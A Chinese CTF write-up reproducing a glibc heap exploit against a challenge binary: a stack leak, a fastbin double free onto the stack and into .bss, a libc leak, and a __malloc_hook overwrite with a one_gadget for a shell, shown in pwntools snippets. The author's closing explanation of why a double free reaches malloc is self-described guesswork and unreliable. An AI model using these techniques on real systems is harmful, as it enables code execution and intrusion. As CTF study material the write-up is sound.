tccccccl,打不动,告辞,前来复现一波

pwn1


简单来说就是我们拥有一个泄漏栈地址的能力,然后还有可以无限向栈上写入的能力,能够申请10个chunk,有UAF

一开始的思路就是打_IO_2_1_stdout_,但是没有unsorted bin,就没法利用系统本身的指向main_arena那一片的指针来构造stdout,然后第二个思路就是来泄漏__libc_start_main,但是我当时脑抽,没想到申请堆块到栈上来一路覆盖到__libc_start_main,只考虑如何利用向栈写入的能力来泄漏地址,反正这个也pass了,后来受到启发,想着向bss写入shellcode,然后在栈上伪造一个fastbin,控制ret地址到bss上,但是怎么也不成功,因为开了NX(比赛结束当天,我脑残在gdb里发现命令能执行,就以为打通了拿到了shell,但是其实发现是在gdb里面草,zz如我一开始以为NX只是栈不可执行,基本功不扎实啊)

第一次参加CTF的pwn类比赛,于是乎好好记录下赛题的方方面面8

首先我们来泄漏栈地址

#dbg()
name(0x10 * "a")
#dbg()
p.recvuntil('tag: ')
stack1 = int(p.recv(14),16)
enter_main()
print "[*] stack1:",hex(stack1)

可以看到,__libc_start_main就在下方!

然后我们来测试一下我们能够向栈上写入的位置在哪

leakstack("lemon")

可以发现我们能够写入的位置距离target只有0x58,所以思路就出来了,利用可写入的能力伪造一个chunk header,然后利用double free将堆伪造到栈上,然后就拥有了在栈的0x68可写能力,然后就可以一路覆盖到__libc_start_main,然后就可以利用printf来给他带出来

# 泄漏__libc_start_main
add(1,"lemon")
add(2,"lemon")

free(1)
free(2)
free(1)

payload = p64(0) + p64(0x71)
leakstack(payload)

add(3,p64(fake_chunk))
add(4,p64(0))
add(5,p64(0))
payload = 0x48 * 'a'
add(6,payload)  #fake chunk

leakstack(0x10 * 'a')	#这里把fake chunk的header也改,防止00截断

p.recvuntil((0x10+0x48) * 'a')
__libc_start_main = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) - 240
libc_base = __libc_start_main - libc.sym['__libc_start_main']

泄露出libc基址,就可以攻击__malloc_hook了,在这里记录一个很诡异的点就是,我们申请到最后,第10号chunk就是__malloc_hook - 0x23,然后我们就不能申请别的chunk来触发malloc函数了,所以我的思路就是在bss段也伪造一个fake chunk,然后把前面的碍事的chunk给置空,就又可以分配chunk了

这样看起来没毛病,最终我把1-5号chunk都置空了,然后第4号chunk正好用来分配到__malloc_hook - 0x23,然后诡异的是只要add 5,就会crash掉,不知怎么肥事,如果有师傅知道是怎么回事的话,请不吝赐教

所以最后的做法是同时free两个同一号chunk,然后触发fastbin corrupt,里面会调用malloc(新姿势,具体原理写完exp再说明一下)

下面是在bss伪造一个chunk,利用可写能力清空1-5号chunk

# 在bss上伪造fake chunk
fake_chunk = 0x602080 - 0x3 	# 因为没开pie,很方便就能调试出来
payload = 0x3 * 'a' + p64(_IO_2_1_stdin_) + p64(0) + p64(_IO_2_1_stderr_) + p64(0)	#此处保留了原来bss的数据完整性
payload += p64(0) * 2 * 4	#12345 free

free(1)
free(2)
free(1)

add(7,p64(fake_chunk))
add(8,'lemon')
add(9,'lemon')
add(10,payload)

然后就是攻击__malloc_hook为gadget

# 攻击__malloc_hook
free(8)
free(9)
free(8)

print hex(one_gadget)
payload = 0x3 * 'a' + 0x10 * 'a' + p64(one_gadget)

add(1,p64(__malloc_hook-0x23))
add(2,"lemon")
add(3,"lemon")
add(4,payload)
#add(5,"lemon")		#不知道为啥不能add 5,只能用double free来触发gadget了

free(1)
free(1)

然后来说一下为啥free两个同一个块能getshell
重要的事情说三遍:
以下是本人的推断,不一定正确!
以下是本人的推断,不一定正确!
以下是本人的推断,不一定正确!

我一开始是不知道这个姿势的,就阅读了以下libc的源码,还是有所发现的
在_int_free里面监测到double free时,会调用malloc_printerr,然后会在malloc_printerr里面会调用__libc_message函数,然后在__libc_message里面会调用alloca函数,在gcc的alloca实现里面,有一个很奇怪的xmalloc函数,追踪可以发现xmalloc函数会调用malloc,因此当监测到double free的时候,最终会调用malloc函数

_int_free -> malloc_printerr -> __libc_message -> alloca -> xmalloc -> malloc -> __malloc_hook

大致就是以上流程了



如有错误,欢迎联系作者批评指正!